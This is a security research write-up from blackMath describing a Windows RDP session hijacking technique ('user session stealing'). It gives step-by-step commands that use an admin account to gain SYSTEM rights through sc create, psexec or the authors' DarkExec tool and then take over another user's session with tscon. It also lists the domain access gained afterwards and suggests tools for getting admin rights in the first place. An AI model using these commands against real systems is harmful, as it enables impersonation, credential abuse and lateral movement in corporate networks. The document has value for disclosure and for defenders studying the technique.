blackMath
IT Security, Programming and Math

USER SESSION STEALING

Authors:
Andrea Petralia r00tk4@blackmath.it
Fulvio Zanetti full@blackmath.it
Date: November, 25, 2016

 | www.blackMath.it

1. ABSTRACT

In this document we want to introduce the "USER SESSION STEALING": a technique that permit to a local higher privileged user connected via RDP or locally to perform impersonation and taking control of another user session on the same machine.

2. SYSTEM AFFECTED

We have tested this technique on the following OS:

Windows 7, Windows Server 2003, Windows Server 2008 R2, Windows 8, Windows 10, Windows 2016 Datacenter

3. NT AUTORITY\SYSTEM – ONE FOR SYSTEM AND SYSTEM FOR ALL

Before we start to talk about this technique is necessary to do a step back to know who "NT AUTORITY\SYSTEM" is and how it works on a windows infrastructure domain.
The Microsoft definition of the Sytem account is:

> *"LocalSystem is a pseudo-account for running system processes and handling system-level tasks. The account is available on the local system only. You can't change the settings for the LocalSystem account with the user administration tools. Users can't log on to a computer with this account."*

The LocalSytem Account, as the Microsoft OS is built, can perform impersonation to each user who have started a process/thread on the machine for administrative purposes. This is possible because of a "feature", that allowing System account to arbitrary open handles to every user process on the machine, and next doing the same with its relative Security Token. This mechanism of impersonation obviously open an easy way to every User Security Context.

There are many advantages to impersonate a domain user even if already we have got admin rights on the machine:

- A user can access in SSO web interfaces
- A user have access to an Intranet or Internet
- A user have a corporate email
- A user can use KERBEROS Ticket
- A user can use cached NTLM credentials
- A user can have access to network shares
- A user can have access to others machines
- A user have access to SYSVOL on Domain Controller (that sometimes store plain-text credentials …)

In an enterprise domain context, this "feature" can really take a big step forward into horizontal privilege escalation.

4. PRATICAL EXPLOITATION – GETS OUR HANDS DIRTY

It's time to going more deeper inside the question, the only thing we need to do "RDP SESSION HIJIACKING" is an Admin account on a domain machine.
Now we won't loss time here talking about how to take an admin account to some machine in a domain, we suggest to exploring some tools like Responder, ARPspoof, Cain&Abel and in any case google is your friend.

USER SESSION STEALING USING A CMD:

1. Accessing in RDP session or locally to the remote machine with an admin user for the machine itself.
2. Launch a "*qwinsta"* or "*query user*" command to show which session the other user is connected. (If

```
C:\> qwinsta
 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
 USER01                                      1  Disc
>rdp-tcp#2         Administrator            2  Active  rdpwd
 rdp-tcp                                 65536  Listen
```

3. Start a service to run a command with "NT AUTORITY\SYSTEM" that have rights to stealing the user session.

```
C:\> sc create myserv binpath= "tscon 1 /dest: tcp-rdp#2"

C:\> sc start myserv
```

USER SESSION STEALING USING A PSEXEC:

1. Same as CMD point
2. Same as CMD point
3. Launch "psexec.exe" on the local machine to start a "NT AUTORITY\SYSTEM" shell

```
C:\> psexec -s -d -i cmd
```

4. It will open a new CMD with localSystem account, let's check it whit "whoami" command.

```
C:\windows\system32>whoami

nt authority\system
```

5. Execute "tscon" command to the relative user session ID and Hijack it.

```
C:\windows\system32>tscon 1
```

USER SESSION STEALING USING A USING DARKEXEC:

1. Same as CMD point
2. Same as CMD point
3. Launch "darkexec.exe" on the local machine to start a "NT AUTORITY\SYSTEM" shell

```
C:\>darkexec -r -i \\. cmd

 _____________________

  D a r k E x e c
 _____________________

 Runs process darkly..
  __
 /_/\  Version: 1.3 pass-the-token, last build 21/07/2016 @ 05:21
 \_\/  Copyright(c) 2016 - www.blackMath.it/dex/COPYING. All rights reserved.

 Release 1.3 - Please report any bug or anomalies to info@blackmath.it


[.] Starting Service
[.] Attempting to Connect to the Remote Machine...
[+] Connected to -> 127.0.0.1

[-] No user provided, retrieving available users on 127.0.0.1...

DOMAIN\USERNAME                Session    Imp     PID    Thread
================================================================

NT AUTHORITY\SYSTEM                 0      3     1076    65
DOMAIN\USER01                       1      2     896     110
DOMAIN\USER02                       2      2     882     115
NT AUTHORITY\NETWORK SERVICE        0      2     896     191
NT AUTHORITY\LOCAL SERVICE          0      2     896     214
NT AUTHORITY\ANONYMOUS LOGON        0      2     912     735

[.] User to impersonate - [Domain\User]: nt authority\system

[-] No session provided, specify session to run process in: 1

[+] Started process on the remote system!!!

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\windows\system32\config\systemprofile> tscon 2
```

4. Execute "tscon" command to the relative user session ID and stealing it

5. REFERENCES – TAKE NOTE OF THESE LINKS

https://www.blackmath.com
(Darkexec, tool and video demonstration)

https://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx
(MSDN Access Tokens)

https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
(Sysinternals download PStools suite containing PSexec)

https://support.microsoft.com/it-it/help/120929/how-the-system-account-is-used-in-windows
(Microsoft Support – How the System Account is used in Windows)

https://msdn.microsoft.com/it-it/library/windows/desktop/ms684190(v=vs.85).aspx
(MSDN LocalSystem Account)

https://technet.microsoft.com/en-us/library/cc961980.aspx
(Some info about Impersonation)